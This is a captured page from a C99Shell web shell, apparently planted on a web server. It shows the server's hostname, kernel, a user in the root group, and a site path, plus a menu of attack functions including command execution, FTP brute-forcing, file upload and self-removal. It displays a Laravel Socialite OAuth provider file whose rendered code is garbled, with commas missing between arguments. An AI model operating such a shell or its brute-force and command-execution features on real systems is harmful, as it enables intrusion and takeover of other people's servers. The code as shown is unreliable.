!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/vendor/laravel/socialite/src/One/   drwxr-xr-x
Free 28.44 GB of 117.98 GB (24.11%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     AbstractProvider.php (4.72 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Laravel\Socialite\One;

use 
Illuminate\Http\RedirectResponse;
use 
Illuminate\Http\Request;
use 
Laravel\Socialite\Contracts\Provider as ProviderContract;
use 
League\OAuth1\Client\Credentials\TokenCredentials;
use 
League\OAuth1\Client\Server\Server;

abstract class 
AbstractProvider implements ProviderContract
{
    
/**
     * The HTTP request instance.
     *
     * @var \Illuminate\Http\Request
     */
    
protected $request;

    
/**
     * The OAuth server implementation.
     *
     * @var \League\OAuth1\Client\Server\Server
     */
    
protected $server;

    
/**
     * A hash representing the last requested user.
     *
     * @var string
     */
    
protected $userHash;

    
/**
     * Create a new provider instance.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  \League\OAuth1\Client\Server\Server  $server
     * @return void
     */
    
public function __construct(Request $requestServer $server)
    {
        
$this->server $server;
        
$this->request $request;
    }

    
/**
     * Redirect the user to the authentication page for the provider.
     *
     * @return \Illuminate\Http\RedirectResponse
     */
    
public function redirect()
    {
        
$this->request->session()->put(
            
'oauth.temp'$temp $this->server->getTemporaryCredentials()
        );

        return new 
RedirectResponse($this->server->getAuthorizationUrl($temp));
    }

    
/**
     * Get the User instance for the authenticated user.
     *
     * @return \Laravel\Socialite\One\User
     *
     * @throws \Laravel\Socialite\One\MissingVerifierException
     */
    
public function user()
    {
        if (! 
$this->hasNecessaryVerifier()) {
            throw new 
MissingVerifierException('Invalid request. Missing OAuth verifier.');
        }

        
$token $this->getToken();

        
$user $this->server->getUserDetails(
            
$token$this->shouldBypassCache($token->getIdentifier(), $token->getSecret())
        );

        
$instance = (new User)->setRaw($user->extra)
                ->
setToken($token->getIdentifier(), $token->getSecret());

        return 
$instance->map([
            
'id' => $user->uid,
            
'nickname' => $user->nickname,
            
'name' => $user->name,
            
'email' => $user->email,
            
'avatar' => $user->imageUrl,
        ]);
    }

    
/**
     * Get a Social User instance from a known access token and secret.
     *
     * @param  string  $token
     * @param  string  $secret
     * @return \Laravel\Socialite\One\User
     */
    
public function userFromTokenAndSecret($token$secret)
    {
        
$tokenCredentials = new TokenCredentials();

        
$tokenCredentials->setIdentifier($token);
        
$tokenCredentials->setSecret($secret);

        
$user $this->server->getUserDetails(
            
$tokenCredentials$this->shouldBypassCache($token$secret)
        );

        
$instance = (new User)->setRaw($user->extra)
            ->
setToken($tokenCredentials->getIdentifier(), $tokenCredentials->getSecret());

        return 
$instance->map([
            
'id' => $user->uid,
            
'nickname' => $user->nickname,
            
'name' => $user->name,
            
'email' => $user->email,
            
'avatar' => $user->imageUrl,
        ]);
    }

    
/**
     * Get the token credentials for the request.
     *
     * @return \League\OAuth1\Client\Credentials\TokenCredentials
     */
    
protected function getToken()
    {
        
$temp $this->request->session()->get('oauth.temp');

        if (! 
$temp) {
            throw new 
MissingTemporaryCredentialsException('Missing temporary OAuth credentials.');
        }

        return 
$this->server->getTokenCredentials(
            
$temp$this->request->get('oauth_token'), $this->request->get('oauth_verifier')
        );
    }

    
/**
     * Determine if the request has the necessary OAuth verifier.
     *
     * @return bool
     */
    
protected function hasNecessaryVerifier()
    {
        return 
$this->request->has(['oauth_token''oauth_verifier']);
    }

    
/**
     * Determine if the user information cache should be bypassed.
     *
     * @param  string  $token
     * @param  string  $secret
     * @return bool
     */
    
protected function shouldBypassCache($token$secret)
    {
        
$newHash sha1($token.'_'.$secret);

        if (! empty(
$this->userHash) && $newHash !== $this->userHash) {
            
$this->userHash $newHash;

            return 
true;
        }

        
$this->userHash $this->userHash ?: $newHash;

        return 
false;
    }

    
/**
     * Set the request instance.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return $this
     */
    
public function setRequest(Request $request)
    {
        
$this->request $request;

        return 
$this;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--